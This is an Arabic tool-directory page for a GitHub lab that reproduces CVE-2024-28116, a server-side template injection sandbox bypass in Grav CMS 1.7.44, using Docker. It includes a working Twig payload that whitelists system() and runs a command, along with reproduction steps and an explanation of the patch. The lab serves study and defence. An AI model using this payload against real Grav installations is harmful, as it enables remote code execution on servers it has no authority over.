Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
grav-cve-2024-28116 — تحليل وإعادة إنتاج عبر Docker لثغرة CVE-2024-28116 - SSTI مع تجاوز الصندوق الرملي (sandbox) في Grav CMS | Kitploit
أدوات/GitHubGitHub/bebarossi/grav-cve-2024-28116
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبالتعلم والتعليممختبرات وتدريب عملي
GitHubbebarossi/grav-cve-2024-28116

grav-cve-2024-28116

تحليل وإعادة إنتاج عبر Docker لثغرة CVE-2024-28116 - SSTI مع تجاوز الصندوق الرملي (sandbox) في Grav CMS

عرض المستودع
8منذ 21 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-28116 — SSTI مع تجاوز الحماية الرملية في Grav CMS

تحليل وإعادة إنتاج عبر Docker لثغرة CVE-2024-28116، وهي ثغرة حقن القوالب من جانب الخادم (Server-Side Template Injection) مع تجاوز الحماية الرملية الأمنية في Grav CMS حتى الإصدار 1.7.44 وما يشملها، وتم إصلاحها في الإصدار 1.7.45.

المُبلِّغ: Maurizio Siddu (akabe1)
درجة CVSS v3.1: 8.8 (عالية)
تم التصحيح في: Grav CMS 1.7.45


هيكل المستودع

  • vulnerable
    • Dockerfile # Grav CMS 1.7.44 (قابلة للاستغلال)
    • apache.conf # إعدادات Apache
  • patched
    • Dockerfile # Grav CMS 1.7.45 (مصححة)
    • apache.conf # إعدادات Apache
  • CVE-2024-28116_Report.pdf

المتطلبات

  • Docker Desktop مثبّت ويعمل على macOS
  • لا توجد تبعيات أخرى مطلوبة — كل شيء مثبّت داخل الحاوية

كيفية تشغيل البيئة القابلة للاستغلال (Grav 1.7.44)

root@kitploit:~
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable

افتح متصفحك على http://localhost:8080/admin وأنشئ حساب مسؤول عند أول دخول.


كيفية إعادة إنتاج الاستغلال

  1. في لوحة الإدارة، أنشئ حساب مستخدم ثانٍ بصلاحيات محرر فقط (Login to Site وLogin to Admin وPages مضبوطة على Allowed — وكل شيء آخر Not set)
  2. افتح نافذة تصفح خاصة وسجّل الدخول كمحرر على http://localhost:8080/admin
  3. انتقل إلى Pages → Add Page، وضَع العنوان test page، ثم انقر Continue
  4. في تبويب Advanced، فعّل معالجة Twig بتحديد كلٍّ من Markdown وTwig تحت Process
  5. في تبويب Content، الصق الحمولة التالية:
root@kitploit:~
{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
  1. انقر Save
  2. افتح تبويب متصفح عادي وزر http://localhost:8080/test-page
  3. سيعرض الخادم كائن إعدادات Grav الكامل وفي الأسفل تماماً سيُظهر: uid=33(www-data) gid=33(www-data) groups=33(www-data)

وهذا يؤكد تنفيذ الأوامر عن بُعد (RCE) بصلاحيات مستخدم خادم الويب.


كيفية تشغيل البيئة المصححة (Grav 1.7.45)

root@kitploit:~
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched

افتح متصفحك على http://localhost:8081/admin وأعد تنفيذ جميع خطوات الاستغلال السابقة، مستهدفاً http://localhost:8081/test-page.

ستكون الصفحة فارغة تماماً. تكتشف طريقة cleanDangerousTwig() في Security.php توجيه twig.safe_functions وتحجبه قبل وصوله إلى محرك Twig. لا يتم تعديل القائمة البيضاء أبداً ولا يتم تنفيذ الأمر أبداً.


كيف تعمل الثغرة

تقع الثغرة في system/src/Grav/Common/Twig.php. يطبّق Grav حماية رملية (sandbox) لمنع استدعاء دوال PHP الخطيرة داخل قوالب Twig، بناءً على قائمة سوداء يفحصها isDangerousFunction(). ومع ذلك، لا تحمي الحماية الرملية كائن Twig نفسه. يمكن لمستخدم بمستوى محرر التفاعل مع كائن Twig عبر توجيهات قوالب مصممة بعناية واستبدال القائمة البيضاء system.twig.safe_functions في وقت التشغيل. وبمجرد إضافة دالة خطيرة مثل system() إلى القائمة البيضاء، يتم تجاوز فحص الحماية الرملية وتُنفَّذ الدالة بحرية.


الإصلاح

يضيف التصحيح 'twig.safe_functions' إلى قائمة الأنماط المحجوبة داخل طريقة cleanDangerousTwig() في system/src/Grav/Common/Security.php. يتم تحييد أي توجيه يحتوي على هذه السلسلة قبل وصوله إلى محرك Twig، ما يجعل من المستحيل على المحرر تعديل القائمة البيضاء من داخل قالب.

تنزيل الأداة